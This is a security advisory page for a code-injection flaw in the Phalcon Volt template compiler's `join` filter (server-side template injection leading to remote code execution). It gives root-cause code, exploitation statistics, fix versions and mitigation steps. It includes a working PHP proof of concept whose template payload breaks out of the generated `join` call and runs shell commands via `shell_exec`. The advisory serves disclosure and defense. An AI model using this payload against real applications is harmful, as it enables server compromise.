Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

GHSA-hrwp-4hh9-c8r8 — phalcon/cphalcon

Fix: phalcon/cphalcon#17217

GHSA-hrwp-4hh9-c8r8 is a Code Injection vulnerability in phalcon/cphalcon. A fix is available for phalcon/cphalcon — see the affected versions and patch details below.

Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)

Also known asCVE-2026-59989
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-hrwp-4hh9-c8r8.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk+0.23%
Lower risk than most CVEs44th percentile — riskier than 44% of all scored CVEsHighest risk
0.00%0.35%0.70%1.04%0.3%0.5%Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐘phalcon/cphalcon

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.

Details

Root cause

phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:

case "join":
    return "join('" . funcArguments[1]["expr"]["value"]
        . "', " . funcArguments[0]["expr"]["value"] . ")";

funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.

Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):

ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");

i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.

The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.

PoC

<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;

$cmd = 'id; uname -a; hostname';

$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);

<img width="1226" height="386" alt="image" src="https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe" />

Impact

Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistphalcon/cphalconall versions5.16.0composer require phalcon/cphalcon:^5.16.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phalcon/cphalcon, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update phalcon/cphalcon to 5.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hrwp-4hh9-c8r8 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

## Summary The Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the in
O3 Security · Impact-Aware SCA

Is GHSA-hrwp-4hh9-c8r8 in your dependencies?

Find it across Packagist, including transitive dependencies.

GHSA-hrwp-4hh9-c8r8: RCE — Fixed in 5.16.0 | O3 Security